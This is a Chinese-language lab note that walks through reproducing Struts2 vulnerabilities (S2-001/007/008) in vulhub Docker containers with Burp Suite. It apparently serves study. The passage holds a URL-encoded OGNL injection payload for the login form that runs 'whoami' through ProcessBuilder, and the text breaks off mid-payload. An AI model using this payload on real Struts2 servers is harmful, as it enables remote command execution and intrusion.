docker—vulhub—struts2漏洞复现详细过程(s2-001/007/008)

本文为学习笔记，仅限学习交流。
不得利用、从事危害国家或人民安全、荣誉和利益等活动。
请参阅《中华人民共和国网络安全法》

简介&准备：
1、centos7 已开启docker ：systemctl restart docker.service
2、进入vulhub —struts2 : cd vulhub/struts2
3、启用测试环境：docker-compose up -d （参照模块下的说明文档）
4、PC机打开网址：youIP:8080 （参照模块下的说明文档）
5、开启BP抓包测试，修改Payload
复现成功！
6、查看日志

s2-001 复现全过程：

1、开启docker
进入vulhub —struts2—s2-001
命令：cd vulhub/struts2/s2-001
查看s2-001目录
命令：ls
(Readme.md 英文说明， Readme.zh-cn.md 中文说明)
先查看说明文件 命令：cat Readme.zh-cn.md

启动容器(参照说明命令)
命令：docker-compose build
docker-compose up -d

2、PC机网页访问：
youIP :8080
显示登录页面
开启代理，开启BP 抓包

3、BP抓包，发送至Repeater模块
在用户名或密码处尝试修改payload：

%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22whoami%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c